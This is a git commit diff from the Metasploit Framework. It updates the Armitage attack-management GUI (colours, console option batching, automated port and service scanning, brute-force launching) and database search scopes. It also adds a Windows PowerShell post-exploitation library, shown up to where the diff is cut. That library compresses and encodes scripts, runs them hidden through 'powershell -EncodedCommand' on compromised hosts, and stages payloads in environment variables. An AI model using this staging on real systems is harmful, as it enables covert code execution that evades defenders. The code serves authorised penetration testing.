This commit is contained in:
RageLtMan
2012-05-21 14:06:07 -04:00
40 changed files with 1143 additions and 514 deletions
+1 -1
View File
@@ -64,6 +64,6 @@ The framework mailing list is the place to discuss features and ask for help.
To subscribe, visit the following web page:
https://mail.metasploit.com/mailman/listinfo/framework
The archives are available from:
The e-mail archives are available from:
https://mail.metasploit.com/pipermail/framework/
Binary file not shown.
+18
View File
@@ -1,6 +1,24 @@
Armitage Changelog
==================
21 May 12
---------
- Added a hack to prevent the input area from flickering when the
prompt changes.
- Updated the color palette to something a little more subtle.
- Added an optimization to how modules are launched. This will make
a difference for team use in high latency situations.
- Rewrote MSF Scans feature to use console queue. This option is more
reliable and it makes the code easier to follow.
- Added a hack to combine chat message writes with a read request.
This will make the event log more responsive in a high latency
situation (can't you tell I care about this "situation")
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
were always OK. Another good reason to not use these tools on
Windows. Ever.
- View -> Downloads Sync Files feature now works on Windows. It looks
like leaving those pesky :'s in the file paths is bad.
17 May 12
---------
- Fixed bug with loot/download viewer breaking with a font resize.
+1 -1
View File
@@ -3,7 +3,7 @@
<center><h1>Armitage 1.44-dev</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 17 May 12</p>
<br />Release: 21 May 12</p>
<br />
<p>Developed by:</p>
+12 -12
View File
@@ -41,18 +41,18 @@ armitage.show_all_commands.boolean=true
armitage.application_title.string=Armitage
console.color_0.color=\#ffffff
console.color_1.color=\#000000
console.color_2.color=\#000080
console.color_3.color=\#009000
console.color_4.color=\#ff0000
console.color_5.color=\#800000
console.color_6.color=\#a000a0
console.color_7.color=\#ff8000
console.color_8.color=\#ffff00
console.color_9.color=\#00ff00
console.color_10.color=\#009090
console.color_11.color=\#00ffff
console.color_12.color=\#0000ff
console.color_13.color=\#ff00ff
console.color_2.color=\#3465A4
console.color_3.color=\#4E9A06
console.color_4.color=\#EF2929
console.color_5.color=\#CC0000
console.color_6.color=\#75507B
console.color_7.color=\#C4A000
console.color_8.color=\#FCE94F
console.color_9.color=\#8AE234
console.color_10.color=\#069A9A
console.color_11.color=\#34E2E2
console.color_12.color=\#729FCF
console.color_13.color=\#AD7FA8
console.color_14.color=\#808080
console.color_15.color=\#c0c0c0
console.show_colors.boolean=true
+3 -3
View File
@@ -1,4 +1,4 @@
^(..:..:..) \[\*\] (.*) $1 \cA[*]\o $2
^\[\*\] (.*) \cA[*]\o $1
^(..:..:..) \* (.*) $1 \c7*\o $2
^(..:..:..) \[\*\] (.*) $1 \cC[*]\o $2
^\[\*\] (.*) \cC[*]\o $1
^(..:..:..) \* (.*) $1 \cD*\o $2
^(\w+)> \u$1\o>
+1 -1
View File
@@ -2,7 +2,7 @@
^meterpreter > \umeterpreter\u >
^msf > \umsf\u >
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
^\[\*\] (.*) \cA[*]\o $1
^\[\*\] (.*) \cC[*]\o $1
^\[\+\] (.*) \c9[+]\o $1
^\[\-\] (.*) \c4[-]\o $1
^ =\[ (.*) =[\c7 $1
+6 -7
View File
@@ -150,7 +150,8 @@ sub launch_service {
}
sub _launch_service {
local('$c $key $value');
local('$c $key $value %options');
%options = copy($3);
if ('SESSION' in $3) {
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
@@ -167,17 +168,15 @@ sub _launch_service {
}
if ($4 eq "payload" && $format eq "multi/handler") {
[$c addCommand: $null, "use exploit/multi/handler"];
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
[$c addCommand: $null, "set ExitOnSession false"];
[$c addCommand: $null, "use exploit/multi/handler"];
%options['PAYLOAD'] = substr($2, 8);
%options['ExitOnSession'] = 'false';
}
else {
[$c addCommand: $null, "use $2"];
}
foreach $key => $value ($3) {
[$c addCommand: $null, "set $key $value"];
}
[$c setOptions: %options];
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
[$c addCommand: "x", "exploit -j"];
+6 -5
View File
@@ -33,6 +33,7 @@ sub downloadLoot {
local('$dest');
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
$dest = getFileProper(dataDirectory(), $type);
mkdir($dest);
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
}, \$model, \$table, \$getme, \$type));
}
@@ -48,7 +49,7 @@ sub _downloadLoot {
# make the folder to store our downloads into
local('$handle $data $file');
if ($dtype eq "downloads") {
$file = getFileProper($dest, $host, $path, $name);
$file = getFileProper($dest, $host, strrep($path, ':', ''), $name);
}
else {
$file = getFileProper($dest, $host, $name);
@@ -76,10 +77,10 @@ sub _postLoot {
local('$host $location $name $type $when');
($host, $location, $name, $type, $when) = $1;
[$2 append: "\c9
#
# $host $+ : $name
#\n"];
[$2 append: "
\c9#
\c9# $host $+ : $name
\c9#\n"];
if ("*binary*" iswm $type) {
[$2 append: "\c4This is a binary file\n"];
+65 -73
View File
@@ -266,96 +266,88 @@ sub launch_msf_scans {
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
if ($hosts is $null) {
return;
}
thread(lambda({
local('$scanner $index $console %ports %discover $port %o $temp');
local('$scanner $index $queue %ports %discover $port %o $temp');
%ports = ohash();
%discover = ohash();
setMissPolicy(%ports, { return @(); });
setMissPolicy(%discover, { return @(); });
if ($hosts !is $null) {
elog("launched msf scans at: $hosts");
elog("launched msf scans at: $hosts");
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
[$console addSessionListener: lambda({
local('$text $host $port $hosts $modules $module @c');
$queue = createDisplayTab("Scan", $host => "all", $file => "scan");
foreach $text (split("\n", $2)) {
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
($host, $port) = matched();
push(%discover[$port], $host);
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
$start = $null;
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
[$queue append: "[*] Building list of scan ports and modules"];
foreach $port => $hosts (%discover) {
if ($port in %ports) {
$modules = %ports[$port];
foreach $module ($modules) {
@c = @("use $module");
push(@c, "set RHOSTS " . join(", ", $hosts));
push(@c, "set RPORT $port");
push(@c, "set THREADS 24");
push(@c, "run -j");
# build up a list of scan ports
foreach $index => $scanner (@modules) {
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
%o = call($client, "module.options", "auxiliary", $scanner);
if ('RPORT' in %o) {
$port = %o['RPORT']['default'];
push(%ports[$port], $scanner);
}
push(@launch, @c);
}
safetyCheck();
}
}
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
# for the default ports
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
$temp = %ports[$port];
}
# add a few left out modules
push(%ports['445'], "scanner/smb/smb_version");
[$queue append: "[*] Launching TCP scan"];
[$queue addCommand: $null, "use auxiliary/scanner/portscan/tcp"];
[$queue setOptions: %(PORTS => join(", ", keys(%ports)), RHOSTS => $hosts, THREADS => 24)];
[$queue addCommand: "x", "run -j"];
[$queue addSessionListener: lambda({
this('$start @launch');
local('$text $host $port $hosts $modules $module $options');
foreach $text (split("\n", $3)) {
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
($host, $port) = matched();
push(%discover[$port], $host);
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start is $null) {
$start = 1;
[$queue append: "\n[*] Starting host discovery scans"];
# gather up the list of modules that we will launch...
foreach $port => $hosts (%discover) {
if ($port in %ports) {
$modules = %ports[$port];
foreach $module ($modules) {
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
}
}
}
}
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
if (size(@launch) == 0) {
$time = (ticks() - $time) / 1000.0;
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
}
else {
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
thread(lambda({
local('$command');
foreach $command ($commands) {
[$console sendString: "$command $+ \n"];
yield 250;
}
}, \$console, $commands => shift(@launch)));
}
}
}
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
# build up a list of scan ports
foreach $index => $scanner (@modules) {
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
%o = call($client, "module.options", "auxiliary", $scanner);
if ('RPORT' in %o) {
$port = %o['RPORT']['default'];
push(%ports[$port], $scanner);
}
safetyCheck();
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) > 0) {
[$queue append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go..."];
($module, $options) = shift(@launch);
[$queue addCommand: $null, "use $module"];
[$queue setOptions: $options];
[$queue addCommand: $null, "run -j"];
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) == 0) {
$time = (ticks() - $time) / 1000.0;
[$queue append: "\n[*] Scan complete in $time $+ s"];
}
}
}, \$hosts, \%ports, \@modules, \%discover, \$queue, $time => ticks())];
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
# for the default ports
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
$temp = %ports[$port];
}
# add a few left out modules
push(%ports['445'], "scanner/smb/smb_version");
[[$console getWindow] append: "[*] Launching TCP scan\n"];
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
[$console sendString: "set RHOSTS $hosts $+ \n"];
[$console sendString: "set THREADS 24\n"];
[$console sendString: "run -j\n"];
}
[$queue start];
}, \$hosts, \@modules));
}
+2 -2
View File
@@ -323,9 +323,9 @@ sub launchBruteForce {
[$console addCommand: $null, "use $type $+ / $+ $module"];
foreach $key => $value ($options) {
$value = strrep($value, '\\', '\\\\');
[$console addCommand: $null, "set $key $value"];
}
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
$options['REMOVE_USERPASS_FILE'] = "true";
[$console setOptions: $options];
[$console addCommand: $null, "run -j"];
[$console start];
}, $type => $1, $module => $2, $options => $3, $title => $4));
+8 -8
View File
@@ -47,8 +47,6 @@ sub client {
%async['module.execute'] = 1;
%async['core.setg'] = 1;
%async['console.destroy'] = 1;
%async['console.write'] = 1;
%async['session.shell_write'] = 1;
#
# verify the client
@@ -189,13 +187,15 @@ sub client {
release($poll_lock);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.push") {
($null, $data) = $args;
event("< $+ $[10]eid $+ > " . $data);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.poll") {
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
acquire($poll_lock);
if ($method eq "armitage.push") {
($null, $data) = $args;
foreach $temp (split("\n", $data)) {
push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data);
}
}
if (size(@events) > $index) {
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
$index = size(@events);
+3 -10
View File
@@ -138,9 +138,6 @@ sub createConsolePanel {
else if ($word in @payloads) {
[$thread sendString: "set PAYLOAD $word $+ \n"];
}
else if (-exists $word && !$REMOTE) {
saveFile($word);
}
}, \$thread)];
return @($result['id'], $console, $thread);
@@ -159,9 +156,7 @@ sub createConsoleTab {
logCheck($console, $host, $file);
}
dispatchEvent(lambda({
[$frame addTab: iff($title is $null, "Console", $title), $console, $thread, $host];
}, $title => $1, \$console, \$thread, \$host));
[$frame addTab: iff($1 is $null, "Console", $1), $console, $thread, $host];
return $thread;
}
@@ -479,10 +474,8 @@ sub module_execute {
$queue = createDisplayTab($1, \$host);
[$queue addCommand: $null, "use $1 $+ / $+ $2"];
foreach $key => $value ($3) {
[$queue addCommand: $null, "set $key $value"];
}
[$queue setOptions: $3];
if ($1 eq "exploit") {
[$queue addCommand: $null, "exploit -j"];
}
+7 -2
View File
@@ -143,8 +143,13 @@ public class ConsoleClient implements Runnable, ActionListener {
}
}
connection.execute(writeCommand, new Object[] { session, text });
read = readResponse();
if ("armitage.push".equals(writeCommand)) {
read = (Map)connection.execute(writeCommand, new Object[] { session, text });
}
else {
connection.execute(writeCommand, new Object[] { session, text });
read = readResponse();
}
processRead(read);
fireSessionWroteEvent(text);
+89 -2
View File
@@ -21,8 +21,9 @@ public class ConsoleQueue implements Runnable {
protected Console display = null;
private static class Command {
public Object token;
public String text;
public Object token = null;
public String text = null;
public Map assign = null;
public long start = System.currentTimeMillis();
}
@@ -92,6 +93,78 @@ public class ConsoleQueue implements Runnable {
}
protected void processCommand(Command c) {
if (c.assign == null) {
processNormalCommand(c);
}
else {
processAssignCommand(c);
}
}
protected void processAssignCommand(Command c) {
try {
/* absorb anything misc */
Map read = readResponse();
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
StringBuffer writeme = new StringBuffer();
Set expected = new HashSet();
/* loop through our values to assign */
Iterator i = c.assign.entrySet().iterator();
while (i.hasNext()) {
Map.Entry entry = (Map.Entry)i.next();
String key = entry.getKey() + "";
String value = entry.getValue() + "";
writeme.append("set " + key + " " + value + "\n");
expected.add(key);
}
/* write our command to whateverz */
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
long start = System.currentTimeMillis();
/* process through all of our values */
while (expected.size() > 0) {
Thread.yield();
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
if (!isEmptyData(temp.get("data") + "")) {
String[] lines = (temp.get("data") + "").split("\n");
for (int x = 0; x < lines.length; x++) {
if (lines[x].indexOf(" => ") != -1) {
String[] kv = lines[x].split(" => ");
/* remove any set variables from our set of stuff */
expected.remove(kv[0]);
if (display != null) {
display.append(prompt + "set " + kv[0] + " " + kv[1] + "\n");
display.append(lines[x] + "\n");
}
}
else if (display != null) {
display.append(lines[x] + "\n");
}
else {
System.err.println("Batch read unexpected: " + lines[x]);
}
}
}
else if ((System.currentTimeMillis() - start) > 10000) {
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't trigger--unless I mess up :) */
System.err.println("Timed out: " + c.assign + " vs. " + expected);
break;
}
}
}
catch (Exception ex) {
System.err.println(consoleid + " -> " + c.text);
ex.printStackTrace();
}
}
protected void processNormalCommand(Command c) {
Map read = null;
try {
if (c.text.startsWith("ECHO ")) {
@@ -161,6 +234,20 @@ public class ConsoleQueue implements Runnable {
}
}
public void append(String text) {
addCommand(null, "ECHO " + text + "\n");
}
public void setOptions(Map options) {
synchronized (this) {
Command temp = new Command();
temp.token = null;
temp.text = null;
temp.assign = options;
commands.add(temp);
}
}
public void addCommand(Object token, String text) {
synchronized (this) {
if (text.trim().equals("")) {
+55 -20
View File
@@ -31,19 +31,20 @@ public class Colors {
colorTable = new Color[16];
colorTable[0] = Color.white;
colorTable[1] = new Color(0, 0, 0);
colorTable[2] = new Color(0, 0, 128);
colorTable[3] = new Color(0, 144, 0);
colorTable[4] = new Color(255, 0, 0);
colorTable[5] = new Color(128, 0, 0);
colorTable[6] = new Color(160, 0, 160);
colorTable[7] = new Color(255, 128, 0);
colorTable[8] = new Color(255, 255, 0);
colorTable[9] = new Color(0, 255, 0);
colorTable[10] = new Color(0, 144, 144);
colorTable[11] = new Color(0, 255, 255);
colorTable[12] = new Color(0, 0, 255);
colorTable[13] = new Color(255, 0, 255);
colorTable[14] = new Color(128, 128, 128);
colorTable[2] = Color.decode("#3465A4");
colorTable[3] = Color.decode("#4E9A06");
colorTable[4] = Color.decode("#EF2929"); //new Color(255, 0, 0);
colorTable[5] = Color.decode("#CC0000");
colorTable[6] = Color.decode("#75507B");
colorTable[7] = Color.decode("#C4A000");
colorTable[8] = Color.decode("#FCE94F");
colorTable[9] = Color.decode("#8AE234");
colorTable[10] = Color.decode("#06989A");
colorTable[11] = Color.decode("#34E2E2");
colorTable[12] = Color.decode("#729FCF");
colorTable[13] = Color.decode("#AD7FA8");
//colorTable[14] = Color.decode("#555753");
colorTable[14] = Color.decode("#808080");
colorTable[15] = Color.lightGray;
for (int x = 0; x < 16; x++) {
@@ -62,8 +63,12 @@ public class Colors {
/* strip format codes from the text */
public String strip(String text) {
StringBuffer buffer = new StringBuffer(text.length());
Fragment f = parse(text);
return strip(f);
}
private String strip(Fragment f) {
StringBuffer buffer = new StringBuffer(128);
while (f != null) {
buffer.append(f.text);
f = f.next;
@@ -71,13 +76,11 @@ public class Colors {
return buffer.toString();
}
public void append(JTextPane console, String text) {
StyledDocument doc = console.getStyledDocument();
Fragment f = parse(text);
private void append(StyledDocument doc, Fragment f) {
while (f != null) {
try {
if (f.text.length() > 0)
doc.insertString(doc.getLength(), f.text.toString(), showcolors ? f.attr : null);
doc.insertString(doc.getLength(), f.text.toString(), f.attr);
}
catch (Exception ex) {
ex.printStackTrace();
@@ -86,14 +89,46 @@ public class Colors {
}
}
public void append(JTextPane console, String text) {
StyledDocument doc = console.getStyledDocument();
Fragment f = parse(text);
if (showcolors) {
append(doc, f);
}
else {
append(doc, parse(strip(f)));
}
}
public void set(JTextPane console, String text) {
console.setText("");
append(console, text);
/* don't update that which we do not need to update */
Fragment f = parse(text);
if (strip(f).equals(console.getText())) {
return;
}
StyledDocument doc = console.getStyledDocument();
try {
doc.remove(0, doc.getLength());
if (showcolors)
append(doc, f);
else
append(doc, parse(strip(f)));
}
catch (BadLocationException ex) { ex.printStackTrace(); }
/* this is a dumb hack to prevent the height from getting out of whack */
console.setSize(new Dimension(1000, console.getSize().height));
}
private Fragment parse(String text) {
Fragment current = new Fragment();
Fragment first = current;
if (text == null)
return current;
char[] data = text.toCharArray();
int fore, back;
+2 -2
View File
@@ -271,12 +271,12 @@ public class Console extends JPanel implements FocusListener {
if (breakp != -1) {
colors.append(console, _text.substring(0, breakp + 1));
colors.set(prompt, _text.substring(breakp + 1) + " ");
updatePrompt(_text.substring(breakp + 1) + " ");
if (log != null)
log.print(colors.strip(_text.substring(0, breakp + 1)));
}
else {
colors.set(prompt, _text);
updatePrompt(_text);
}
promptLock = true;
}
+1 -1
View File
@@ -74,7 +74,7 @@ public class SearchPanel extends JPanel implements ActionListener {
try {
String text = component.getText();
int lastIndex = -1;
while ((lastIndex = text.indexOf(searchstr, lastIndex + 1)) != -1) {
while ((lastIndex = text.replaceAll("\r", "").indexOf(searchstr, lastIndex + 1)) != -1) {
component.getHighlighter().addHighlight(
lastIndex,
lastIndex + searchstr.length(),
+18
View File
@@ -1,6 +1,24 @@
Armitage Changelog
==================
21 May 12
---------
- Added a hack to prevent the input area from flickering when the
prompt changes.
- Updated the color palette to something a little more subtle.
- Added an optimization to how modules are launched. This will make
a difference for team use in high latency situations.
- Rewrote MSF Scans feature to use console queue. This option is more
reliable and it makes the code easier to follow.
- Added a hack to combine chat message writes with a read request.
This will make the event log more responsive in a high latency
situation (can't you tell I care about this "situation")
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
were always OK. Another good reason to not use these tools on
Windows. Ever.
- View -> Downloads Sync Files feature now works on Windows. It looks
like leaving those pesky :'s in the file paths is bad.
17 May 12
---------
- Fixed bug with loot/download viewer breaking with a font resize.
@@ -98,10 +98,8 @@ module MetasploitDataModels::ActiveRecordModels::Host
# Note that we're already restricting the query to this host by using
# host.notes instead of Note, so don't need a host_id in the
# conditions.
fingers = host.notes.find(:all,
:conditions => [ "ntype like '%%fingerprint'" ]
)
fingers.each do |fp|
fingerprintable_notes = self.notes.where("ntype like '%%fingerprint'")
fingerprintable_notes.each do |fp|
next if not validate_fingerprint_data(fp)
norm = normalize_scanner_fp(fp)
wvers[norm[:os_sp]] = wvers[norm[:os_sp]].to_i + (100 * norm[:certainty])
@@ -124,8 +122,9 @@ module MetasploitDataModels::ActiveRecordModels::Host
# has an opinion and which doesn't. It would also be nice to
# identify "impossible" combinations of services and alert that
# something funny is going on.
host.services.each do |s|
next if not s.info
# XXX: This hack solves the memory leak generated by self.services.each {}
fingerprintable_services = self.services.where("name is not null and name != '' and info is not null and info != ''")
fingerprintable_services.each do |s|
points = 0
case s.name
when 'smb'
@@ -10,6 +10,15 @@ module MetasploitDataModels::ActiveRecordModels::Loot
before_destroy :delete_file
scope :search, lambda { |*args|
where(["loots.ltype ILIKE ? OR " +
"loots.name ILIKE ? OR " +
"loots.info ILIKE ? OR " +
"loots.data ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
private
def delete_file
@@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Note
scope :flagged, where('critical = true AND seen = false')
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
scope :search, lambda { |*args|
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
"OR ntype ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
after_save :normalize
@@ -23,8 +23,9 @@ module MetasploitDataModels::ActiveRecordModels::Service
where([
"services.name ILIKE ? OR " +
"services.info ILIKE ? OR " +
"services.proto ILIKE ? OR " +
"services.port = ? ",
"%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
])
}
@@ -10,10 +10,16 @@ module MetasploitDataModels::ActiveRecordModels::Session
scope :alive, where("closed_at IS NULL")
scope :dead, where("closed_at IS NOT NULL")
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
before_destroy :stop
def upgradeable?
(self.platform =~ /win/ and self.stype == 'shell')
end
private
@@ -21,6 +27,7 @@ module MetasploitDataModels::ActiveRecordModels::Session
c = Pro::Client.get rescue nil
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
end
}
end
end
@@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Vuln
after_update :save_refs
scope :search, lambda { |*args|
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
]).
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
}
private
def save_refs
@@ -6,14 +6,14 @@ Gem::Specification.new do |s|
s.required_rubygems_version = Gem::Requirement.new("> 1.3.1") if s.respond_to? :required_rubygems_version=
s.authors = ["Trevor Rosen"]
s.date = "2012-04-24"
s.date = "2012-05-18"
s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions."
s.email = ["trevor_rosen@rapid7.com"]
s.executables = ["mdm_console"]
s.files = ["bin/mdm_console"]
s.homepage = ""
s.require_paths = ["lib"]
s.rubygems_version = "1.8.21"
s.rubygems_version = "1.8.15"
s.summary = "Database code for MSF and Metasploit Pro"
if s.respond_to? :specification_version then
+1
View File
@@ -1,5 +1,6 @@
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
module Msf
class Post
+203
View File
@@ -0,0 +1,203 @@
require 'zlib'
require 'msf/core/post/common'
module Msf
class Post
module Windows
module Powershell
include ::Msf::Post::Common
# List of running processes, open channels, and env variables...
# Suffix for environment variables
def have_powershell?
cmd_out = cmd_exec("powershell get-host")
return true if cmd_out =~ /Name.*Version.*InstanceID/
return false
end
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
end
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
def compress_script(script_in, eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression += "$stream.ReadByte()|Out-Null;"
psh_expression += "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression += "$(New-Object IO.Compression.DeflateStream("
psh_expression += "$stream,"
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
end
def execute_script(script)
running_pids, open_channels = [], []
# Execute using -EncodedCommand
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
# Add to list of running processes
running_pids << cmd_out.pid
# Add to list of open channels
open_channels << cmd_out
return [cmd_out, running_pids, open_channels]
end
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
while (index < compressed_script.size - 1)
# Define random, but serialized variable name
env_prefix = "%05d" % ((index + 8000)/8000)
env_variable = env_prefix + env_suffix
# Create chunk
chunk = compressed_script[index, count]
# Build the set commands
set_env_variable = "[Environment]::SetEnvironmentVariable("
set_env_variable += "'#{env_variable}',"
set_env_variable += "'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = compress_script(set_env_variable)
# Stage the payload
print_good(" - Bytes remaining: #{compressed_script.size - index}")
execute_script(encoded_stager)
# Increment index
index += count
end
# Build the script reassembler
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = compress_script(reassemble_command)
return encoded_script
end
def write_to_log(cmd_out, log_file, eof)
# Open log file for writing
fd = ::File.new(log_file, 'w+')
# Read output until eof and write to log
while (line = cmd_out.channel.read())
if (line.sub!(/#{eof}/, ''))
fd.write(line)
vprint_good("\t#{line}")
cmd_out.channel.close()
break
end
fd.write(line)
vprint_good("\t#{line}")
end
# Close log file
fd.close()
return
end
def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, running_pids, open_channels = *execute_script(script)
write_to_log(cmd_out, "/dev/null", eof)
